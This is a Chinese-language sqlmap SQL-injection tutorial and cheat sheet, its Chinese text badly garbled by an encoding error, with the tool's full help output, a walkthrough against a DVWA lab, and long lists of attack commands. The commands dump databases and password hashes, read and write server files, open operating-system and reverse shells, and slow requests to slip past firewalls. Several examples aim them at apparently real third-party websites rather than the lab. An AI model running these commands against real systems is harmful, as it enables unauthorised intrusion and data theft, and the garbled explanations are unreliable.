sqlmapæ³¨å ¥å·¥å ·ï¼
ããsqlmap æ¯ä¸ä¸ªå¼æºçæ¸éæµè¯å·¥å ·ï¼ä»å¯ä»¥èªå¨çæ£æµåå©ç¨SQLæ³¨å ¥æ¼æ´ï¼sqlmapé ç½®äºä¸ä¸ªå¼ºå¤§åè½çæ£æµå¼æï¼å¦æURLåå¨æ³¨å ¥æ¼æ´ï¼å®å°±å¯ä»¥ä»æ°æ®åºä¸æåæ°æ®ï¼å®ææ³¨å ¥ã
ããsqlmap æ¯åºäºPythonç¼åçï¼åªè¦æpythonç¯å¢å°±å¯ä»¥ä½¿ç¨sqlmapå·¥å ·ã
ããsqlæ³¨å ¥å æ¬ï¼SQLç²æ³¨ãunionæ³¨å ¥ãæ¾éå¼æ³¨å ¥ãæ¶é´ç²æ³¨ãç²æ¨çæ³¨å ¥åå æ¥è¯¢æ³¨å ¥çææ¯ã
使ç¨sqlmapï¼
ä¸è¬æ¥éª¤å¦ä¸ï¼
第ä¸æ¥ï¼å¤ææ¯å¦åå¨æ³¨å ¥ç¹
root@kali:~# sqlmap -help
___
__H__
___ ___[(]_____ ___ ___ {1.3#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
Usage: python sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-d DIRECT Connection string for direct database connection
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file
-m BULKFILE Scan multiple targets given in a textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target URL
--method=METHOD Force usage of given HTTP method (e.g. PUT)
--data=DATA Data string to be sent through POST (e.g. "id=1")
--param-del=PARA.. Character used for splitting parameter values (e.g. &)
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--cookie-del=COO.. Character used for splitting cookie values (e.g. ;)
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--user-agent=AGENT HTTP User-Agent header value
--random-agent Use randomly selected HTTP User-Agent header value
--host=HOST HTTP Host header value
--referer=REFERER HTTP Referer header value
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
--auth-file=AUTH.. HTTP authentication PEM cert/private key file
--ignore-code=IG.. Ignore (problematic) HTTP error code (e.g. 401)
--ignore-proxy Ignore system default proxy settings
--ignore-redirects Ignore redirection attempts
--ignore-timeouts Ignore connection timeouts
--proxy=PROXY Use a proxy to connect to the target URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
--proxy-file=PRO.. Load proxy list from a file
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Test requests between two visits to a given safe URL
--skip-urlencode Skip URL encoding of payload data
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token
--force-ssl Force usage of SSL/HTTPS
--hpp Use HTTP parameter pollution method
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
Optimization:
These options can be used to optimize the performance of sqlmap
-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--skip=SKIP Skip testing for given parameter(s)
--skip-static Skip testing parameters that not appear to be dynamic
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
--dbms=DBMS Force back-end DBMS to provided value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to provided value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--invalid-string Use random strings for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--hostname Retrieve DBMS server hostname
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
--comments Check for DBMS comments during enumeration
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
-X EXCLUDE DBMS database identifier(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First dump table entry to retrieve
--stop=LIMITSTOP Last dump table entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=QUERY SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)
Brute force:
These options can be used to run brute force checks
--common-tables Check existence of common tables
--common-columns Check existence of common columns
User-defined function injection:
These options can be used to create custom user-defined functions
--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
File system access:
These options can be used to access the back-end database management
system underlying file system
--file-read=FILE.. Read a file from the back-end DBMS file system
--file-write=FIL.. Write a local file on the back-end DBMS file system
--file-dest=FILE.. Back-end DBMS absolute filepath to write to
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
Windows registry access:
These options can be used to access the back-end database management
system Windows registry
--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type
General:
These options can be used to set some general working parameters
-s SESSIONFILE Load session from a stored (.sqlite) file
-t TRAFFICFILE Log all HTTP traffic into a textual file
--batch Never ask for user input, use the default behavior
--binary-fields=.. Result fields having binary values (e.g. "digest")
--check-internet Check Internet connection before assessing the target
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
--charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef")
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
--encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)
--eta Display for each output the estimated time of arrival
--flush-session Flush session files for current target
--forms Parse and test forms on target URL
--fresh-queries Ignore query results stored in session file
--har=HARFILE Log all HTTP traffic into a HAR file
--hex Use hex conversion during data retrieval
--output-dir=OUT.. Custom output directory path
--parse-errors Parse and display DBMS error messages from responses
--save=SAVECONFIG Save options to a configuration INI file
--scope=SCOPE Regexp to filter targets from provided proxy log
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
--update Update sqlmap
Miscellaneous:
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N")
--beep Beep on question and/or when SQL injection is found
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--dependencies Check for missing (optional) sqlmap dependencies
--disable-coloring Disable console output coloring
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--identify-waf Make a thorough testing for a WAF/IPS protection
--list-tampers Display list of available tamper scripts
--mobile Imitate smartphone through HTTP User-Agent header
--offline Work in offline mode (only use session data)
--purge Safely remove all content from sqlmap data directory
--skip-waf Skip heuristic detection of WAF/IPS protection
--smart Conduct thorough tests only if positive heuristic(s)
--sqlmap-shell Prompt for an interactive sqlmap shell
--tmp-dir=TMPDIR Local directory for storing temporary files
--web-root=WEBROOT Web server document root directory (e.g. "/var/www")
--wizard Simple wizard interface for beginner users
å¤å¶
æ¡ä¾æä½ï¼ãæ们å°å©ç¨sqlmap对DVWAç¯å¢ä¸çsqlæ³¨å ¥ç¹è¿è¡æ³¨å ¥ã
第ä¸æ¥å¤ææ³¨å ¥ç¹ï¼
å¯å¨sqlmapå¯¹è¯¥æ³¨å ¥URLè¿è¡å¤ææ³¨å ¥ç¹ï¼
å¨DVWAå¹³å°ä¸ï¼å¯ä»¥çåº http://192.168.2.158/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# æ¯æ³¨å ¥ç¹çurlï¼æ们å¯å¨sqlmap对该urlè¿è¡å¤æï¼æ¯å¦åå¨æ³¨å ¥ç¹>>>
cookieå¯ä»¥éè¿æå ç¨åºè·å¾æè éè¿F12æ¥çStorage-Cookiesã
å¦ä¸ï¼æ们åå¯ä»¥è®¤ä¸ºæ们å¾ç¥äºè¯¥URLåå¨GETæ³¨å ¥ç¹ï¼åæ¶æ们ä¹å¾å°æ°æ®åºçæ¬åæå¡å®¹å¨çç¸å ³ä¿¡æ¯ã
ãpsï¼--batchæ¯èªå¨æ§è¡çå«ä¹ã
第äºæ¥ï¼è·åæ°æ®åºã--dbsã
第ä¸æ¥ï¼æ¥çå½ååºç¨æ使ç¨çæ°æ®åºã--current-dbã
第åæ¥ï¼ååºæå®æ°æ®åºçææ表ã--table -D "åºå"ã
第äºæ¥ï¼è¯»åæå®è¡¨ä¸çå段åã--columns -T "表å" -D "åºå"ã
第å æ¥ï¼è¯»åå段å 容ã--dump -C "å段1,å段2,å段â¦" -T â[表å]â -D âåºåâã
ãå 容ä¼ä¿åå¨ä¸ä¸ªææ¡£å ã
SQLMAPåæ°è¯´æï¼ãsqlmapä¸¥æ ¼åºåå½ä»¤åæ°ç大å°å ï¼ sqlmapå½ä»¤åæ°æ¯æå å使ç¨ã
1ãæµè¯æ³¨å ¥ç¹
sqlmap -u "[URL]" [--cookie=""] --batch >> èªå¨æ£æµæ¯å¦åå¨æ³¨å
¥ç¹
sqlmap -u "[URL]" --privileges >> æµè¯æ³¨å
¥ç¹æé
sqlmap -u "[URL]" --privileges -U XX >> æµè¯XXç¨æ·æé
å¤å¶
2ãæ§è¡Shellå½ä»¤
sqlmap -u [URL] --os-cmd="XXXX" >> æ§è¡ xxxx å½ä»¤
sqlmap -u [URL] --os-shell >> ç³»ç»äº¤äºçshell
å¤å¶
3ãè·åå½åæ°æ®åºã表ãå段信æ¯
sqlmap -u [URL] --dbs >> æææ°æ®åºå
sqlmap -u [URL] --users >> ææç¨æ·ä¿¡æ¯
sqlmap -u [URL] --passwords >> ç¨æ·å¯ç
sqlmap -u [URL] --current-db >> å½ååºç¨çæ°æ®åºå
sqlmap -u [URL] --current-user >> å½ååºç¨çæ°æ®åºå
sqlmap -u [URL] --tables -D "åºå" >> ååºæå®æ°æ®åºä¸ç表
sqlmap -u [URL] --columns -T "表å" -D "åºå" >> ååºæå®åº.表ä¸çå段信æ¯
sqlmap -u [URL] --dump -all >> æææ°æ®åºææ表
sqlmap -u [URL] --dbms æå®æ°æ®åºç±»å
âDï¼æå®æ°æ®åºåã
-Tï¼æå®è¡¨å
-Cï¼æå®å段
-uï¼æ³¨å
¥ç¹URL
-fï¼æ纹å¤ææ°æ®åºç±»å
-bï¼è·åæ°æ®åºçæ¬ä¿¡æ¯
-pï¼æå®å¯æµè¯åæ°
-osï¼æå®ç³»ç»
å¤å¶
4ãPOSTæ交æ¹å¼
sqlmap -u [URL] --data "POSTåæ°"
å¤å¶
5ãåæ¾ç级
sqlmap -u [URL] --dbs -v *
0ï¼åªæ¾ç¤ºpythonè¿åçä¿¡æ¯
1ï¼æ¾ç¤ºä¿¡æ¯åè¦åä¿¡æ¯
2ï¼æ¾ç¤ºè°è¯ä¿¡æ¯
3ï¼ææè½½è·æ³¨å
¥
4ï¼æ¾ç¤ºHTTP请æ±
5ï¼æ¾ç¤ºHTTPååºå¤´
6ï¼æ¾ç¤ºHTTPååºé¡µé¢çå
容
å¤å¶
6ãæ³¨å ¥HTTP请æ±
sqlmap -r XXX.txt --dbs >> xxx.txt 为http请æ±
å¤å¶
sqlmap
-u #注å
¥ç¹
-f #æ纹å¤å«æ°æ®åºç±»å
-b #è·åæ°æ®åºçæ¬ä¿¡æ¯
-p #æå®å¯æµè¯çåæ°(?page=1&id=2 -p âpage,idâ)
-D ââ #æå®æ°æ®åºå
-T ââ #æå®è¡¨å
-C ââ #æå®å段
-s ââ #ä¿å注å
¥è¿ç¨å°ä¸ä¸ªæ件,è¿å¯ä¸æï¼ä¸æ¬¡æ¢å¤å¨æ³¨å
¥(ä¿åï¼-s âxx.logâ æ¢å¤:-s âxx.logâ âresume)
âcolumns #ååºå段
âcurrent-user #è·åå½åç¨æ·å称
âcurrent-db #è·åå½åæ°æ®åºå称
âusers #åæ°æ®åºææç¨æ·
âpasswords #æ°æ®åºç¨æ·ææå¯ç
âprivileges #æ¥çç¨æ·æé(âprivileges -U root)
-U #æå®æ°æ®åºç¨æ·
âdbs #ååºæææ°æ®åº
âtables -D ââ #ååºæå®æ°æ®åºä¸ç表
âcolumns -T âuserâ -D âmysqlâ #ååºmysqlæ°æ®åºä¸çuser表çææå段
âdump-all #ååºæææ°æ®åºææ表
âexclude-sysdbs #åªååºç¨æ·èªå·±æ°å»ºçæ°æ®åºå表
âdump -T âæ°æ®åºâ -D â表â -C âå段â #ååºæå®æ°æ®åºç表çå段çæ°æ®(âdump -T users -D master -C surname)
âdump -T ââ -D ââ âstart 2 âtop 4 # ååºæå®æ°æ®åºç表ç2-4å段çæ°æ®
âdbms #æå®æ°æ®åº(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
âos #æå®ç³»ç»(Linux,Windows)
-v #详ç»çç级(0-6)
0ï¼åªæ¾ç¤ºPythonçå溯ï¼é误åå
³é®æ¶æ¯ã
1ï¼æ¾ç¤ºä¿¡æ¯åè¦åæ¶æ¯ã
2ï¼æ¾ç¤ºè°è¯æ¶æ¯ã
3ï¼ææè½½è·æ³¨å
¥ã
4ï¼æ¾ç¤ºHTTP请æ±ã
5ï¼æ¾ç¤ºHTTPååºå¤´ã
6ï¼æ¾ç¤ºHTTPååºé¡µé¢çå
容
âprivileges #æ¥çæé
âis-dba #æ¯å¦æ¯æ°æ®åºç®¡çå
âroles #æ举æ°æ®åºç¨æ·è§è²
âudf-inject #导å
¥ç¨æ·èªå®ä¹å½æ°ï¼è·åç³»ç»æéï¼
âunion-check #æ¯å¦æ¯æunion 注å
¥
âunion-cols #union æ¥è¯¢è¡¨è®°å½
âunion-test #union è¯å¥æµè¯
âunion-use #éç¨union 注å
¥
âunion-tech orderby #unioné
åorder by
âmethod âPOSTâ âdata ââ #POSTæ¹å¼æ交æ°æ®(âmethod âPOSTâ âdata âpage=1&id=2â³)
âcookie âç¨;å·åå¼â #cookie注å
¥(âcookies=âPHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=lowâ)
âreferer ââ #使ç¨referer欺éª(âreferer âhttp://www.baidu.comâ)
âuser-agent ââ #èªå®ä¹user-agent
âproxy âhttp://127.0.0.1:8118â³ #代ç注å
¥
âstring ââ #æå®å
³é®è¯
âthreads #éç¨å¤çº¿ç¨(âthreads 3)
âsql-shell #æ§è¡æå®sqlå½ä»¤
âsql-query #æ§è¡æå®çsqlè¯å¥(âsql-query âSELECT password FROM mysql.user WHERE user = ârootâ LIMIT 0, 1â³ )
âfile-read #读åæå®æ件
âfile-write #åå
¥æ¬å°æ件(âfile-write /test/test.txt âfile-dest /var/www/html/1.txt;å°æ¬å°çtest.txtæ件åå
¥å°ç®æ ç1.txt)
âfile-dest #è¦åå
¥çæ件ç»å¯¹è·¯å¾
âos-cmd=id #æ§è¡ç³»ç»å½ä»¤
âos-shell #ç³»ç»äº¤äºshell
âos-pwn #åå¼¹shell(âos-pwn âmsf-path=/opt/framework/msf3/)
âmsf-path= #matesploitç»å¯¹è·¯å¾(âmsf-path=/opt/framework/msf3/)
âos-smbrelay #
âos-bof #
âreg-read #读åwinç³»ç»æ³¨å表
âpriv-esc #
âtime-sec= #延è¿è®¾ç½® é»è®¤âtime-sec=5 为5ç§
-p âuser-agentâ âuser-agent âsqlmap/0.7rc1 (http://sqlmap.sourceforge.net)â #æå®user-agent注å
¥
âeta #ç²æ³¨
sqlmap.py -u url å¤æ
sqlmap.py -u url --is-dba å¤ææ¯ä¸æ¯rootæé
sqlmap.py -u url --is-dba -v è¿æ¯å¤æå½åæ°æ®åºç使ç¨è
æ¯å¦æ¯dba
sqlmap.py -u url --users -v 0 è¿å¥çç®çæ¯å举æ°æ®åºçç¨æ·
sqlmap.py -u url --passwords -v 0 è¿å¥çç®çæ¯è·åæ°æ®åºç¨æ·çå¯ç
sqlmap.py -u url --privileges -v 0 è¿æ¯å¤æå½åçæé
sqlmap.py -u url --dbs -v 0 è¿å¥çç®çæ¯å°ææçæ°æ®åºååºæ¥
sqlmap.py -u url --tables -D '表' ç表
sqlmap.py -u url --columns -T â表â-D âæ°æ®åºâçå
sqlmap.py -u url --dump -T '表' --start 1 --stop 4 -v 0 è¿éæ¯æ¥è¯¢ç¬¬2å°ç¬¬4è¡çå
sqlmap.py -u url --dump -all -v 0
-------------------------------------------------------------------------------------------------------------------------
--current-user ççæéâ¦â¦
access注å
¥
sqlmap.py -u "url" ==æ£æµã
sqlmap.py -u "url" --tables ==ç表ã
sqlmap.py -u "url" --columns -T "表å" ==çå段
sqlmap.py -u "url" --dump -T "表å" -C "å段,å段" ==æ´è¡¨éé¢çå段çå
容
Mysqlæ°æ®æ³¨å
¥
sqlmap.py -u url --privileg ==æ¥çæé(rootä»ä¹ä»ä¹ç)
sqlmap.py -u url --is-dba å¤ææ¯ä¸æ¯rootæé
sqlmap.py -u url --dbs ==è·åæ°æ®åº
sqlmap.py -u url --tables -D "æ°æ®åºå" ==è·åå½ä¸çæ°æ®åºç表
sqlmap.py -u url --columns -D "æ°æ®åºå" -T "表å" ==è·åæ°æ®åº 表ä¸çå段
sqlmap.py -u url --dump -D "æ°æ®åºå" -T "表å" -C "å段,å段" ==è·åæ°æ®åºè¡¨çå段éçå
容
Cookie注å
¥
注å
¥ç¹ï¼http://www.ntjx.org/jsj/DownloadShow.asp?id=9
sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --table --level 2 ==æ´è¡¨å
sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --columns -T "表å" --level 2 ==æ´è¡¨çå段
sqlmap.py -u "http://www.ntjx.org/jsj/DownloadShow.asp" --cookie "id=9" --dump -T "表å" -C "å段,å段" --level 2 ==æ´è¡¨çå段å
容
postç»é注å
¥ mssql
sqlmap.py -u "http://www.pingx.com/Login.asp" --data "tfUName=12345&tfUPass=12345"
sqlmap.py -u "http://www.pingx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dbs ==è·åæ°æ®åºå
sqlmap.py -u "http://www.pingx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --tables -D "æ°æ®åºå" ==å表
sqlmap.py -u "http://www.pingx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --columns -T "表å" -D "æ°æ®åºå" ==æ´å段
sqlmap.py -u "http://www.pingx.com/Login.asp" --data "tfUName=12345&tfUPass=12345" --dump --columns -C "å段,å段" -T "表" -D "æ°æ®å" ==æ´å段å
容
ç´æ¥æ¿shellæè
æ§è¡å½ä»¤ï¼éè¦æéå¾å¤§è·ç©çè·¯å¾ï¼
sqlmap.py -u url --os-shell
sqlmap.py -u url --os-cmd=ipconfig
伪éæ注å
¥
注å
¥ç¹ï¼http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html ï¼æ³¨æï¼è¦å 个* åªéåå¨æ³¨å
¥å°±å ä¸ * å·ï¼
sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --dbs ==è·åæ°æ®åºå
sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --tables -D "æ°æ®å" ==è·åæ°æ®åºå½ä¸ç表
sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --columns -D "æ°æ®å" -T "表å" ==è·åæ°æ®åºç表ä¸çå段
sqlmap.py -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40*.html --dump -D "æ°æ®å" -T "表å" -C "å段,å段" ==è·åæ°æ®åºç表ä¸çå段å
容
请æ±å»¶æ¶ï¼ä¸è¬çªç ´é²ç«å¢ï¼
第ä¸ç§æ¹æ³ï¼sqlmap.py -u url --delay 2 ï¼æ³¨æï¼2æ¯ä¸¤ç§çææï¼ä¹å°±æ¯è¯´2ç§è®¿é®ä¸æ¬¡ï¼
第äºç§æ¹æ³ï¼ sqlmap.py -u url --safe-freq 3 ï¼æ³¨æï¼3æ¯3次çææããï¼
å¯ä»¥ç»åä½¿ç¨ sqlmap.py -u url --delay 2 --safe-freq 3
å©ç¨æ件æ¥æ³¨å
¥
GET /?id=1 HTTP/1.1
Host: www.why25.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0
x-forwarded-for: 1*(åå¨æ³¨å
¥)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=109b6bcfd7ec056764c71aa62a4d6638
Connection: keep-alive
Cache-Control: max-age=0
æå·(*) æå®æ³¨å
¥ç¹
sqlmap -r c:/s.txt --level 3 --dbms=mysql --risk 1 注æï¼ --level æ¯æµè¯ç级ææå°±æ¯è¯´æè¦æ´å èå¿ä»ä»ç»ç»çå 强æ£æµç级3 å¦æ没ælevel é»è®¤ç级æ¯1ç
å«äººå次æ´çè¿ç
-p æå®æµè¯åæ°
-b è·åbanner
--dbs å举æ°æ®åº
--is-dba æ¯å¦æ¯ç®¡çåæé
--current-db å½åæ°æ®åº
--current-user å½åç¨æ·
--tables å举æ°æ®åºç表å
--count æ£ç´¢æææ¡ç®æ°
--columns è·å表çåå
--dump è·å表ä¸çæ°æ®ï¼å
å«å
--dump-all 转åDBMSæ°æ®åºææ表项ç®
--level æµè¯ç级(1-5)ï¼é»è®¤ä¸º1
-v æ¾ç¤ºè¯¦ç»ä¿¡æ¯
读åæ°æ®åº--->读å表---->读å表çå---->è·åå
容
-D æå®æ°æ®åº
-T æå®è¡¨
-C æå®å
--dbms=mysql oracle mssql æå®æ°æ®åº
=======================================
åç
§å®æ¹ææ¡£ï¼https://github.com/sqlmapproject/sqlmap/wiki/Usageã
-b è·åbanner
-p æå®æµè¯åæ°
-g ä»googleä¸è·åURL , -g "inurl:aspx?id="
--gpage=GOOGLEPAGE æå®Google页ç
--union-check æ¯å¦æ¯æunion 注å
¥
--union-cols union æ¥è¯¢è¡¨è®°å½
--union-test union è¯å¥æµè¯
--union-use éç¨union 注å
¥
--proxy 代ç注å
¥
---threads éç¨å¤çº¿ç¨
--user-agent èªå®ä¹user-agent
--referer=REFERER HTTP referer头
--proxy=PROXY 使ç¨ä»£ç
--string æå®å
³é®è¯
--tor å建torçå¿åç½ç»
--predict-output 常è§çæ¥è¯¢è¾åºé¢æµ
--keep-alive 使ç¨æä¹
HTTPï¼Sï¼è¿æ¥
--eval=EVALCODE æ使ç¨HTTPåæ°æ±¡æ
-a,-all æ¥è¯¢ææ
--hostname 主æºå
--is-dbs æ¯å¦æ¯ç®¡çåæé
--users æ举ææç¨æ·
--passwords æ举ææç¨æ·å¯ç
--roles æ举ææç¨æ·è§è²
--schema æ举DBMS模å¼
--count æ£ç´¢æææ¡ç®æ°
--dump 转åDBMSæ°æ®åºè¡¨é¡¹ç®ï¼éè¦å¶å®å段å称(åå称)
--dump-all 转åDBMSæ°æ®åºææ表项ç®
--search æç´¢åï¼è¡¨ææ°æ®åºå称
--exclude-sysdbs å¨æ举表æ¶æé¤ç³»ç»æ°æ®åº
--sql-query=query æ§è¡SQLè¯å¥
--file-read=RFILE 读åæä½
--file-write=WFILE åå
¥æä½
--file-dest=DFILE ç»å¯¹è·¯å¾åå
¥
--reg-read é
读ä¸ä¸ªWindows注å表项å¼
--reg-add å¢å ä¸ä¸ªWindows注å表项å¼æ°æ®
--reg-del å é¤ä¸ä¸ªWindows注å表项å¼æ°æ®
--reg-key=REGKEY Windows注å表é®
--reg-value=REGVAL Windows注å表é®å¼
-- reg-data=REGDATA Windows注å表çé®å¼é¡¹æ°æ®
--reg-type=REGTYPE Windows注å表é®çå¼ç±»å
--csv-del=CSVDEL åå®CSVè¾åºä¸ä½¿ç¨çå符 (default ",")
--dump-format=DUMP 转åæ°æ®æ ¼å¼(CSV (default), HTML or SQLITE)
--hex 使ç¨åå
è¿å¶æ°æ®æ£ç´¢åè½
--output-dir=ODIR èªå®ä¹è¾åºçç®å½è·¯å¾
--update æ´æ°SQLMap
--purge-output å®å
¨çå é¤ææå
容è¾åºç®å½
--check-waf å¯åå¼æ£æ¥WAF / IPS / IDSä¿æ¤
--os-pwn åå¼¹shell
--cookie=COOKIE æå®HTTP Cookie ï¼é¢ç»é
--random-agent 使ç¨éæºéå®çUser-Agent头
--tamper=TAMPER 使ç¨SQLMapæ件
--level æµè¯ç级(1-5)ï¼é»è®¤ä¸º1
å¤å¶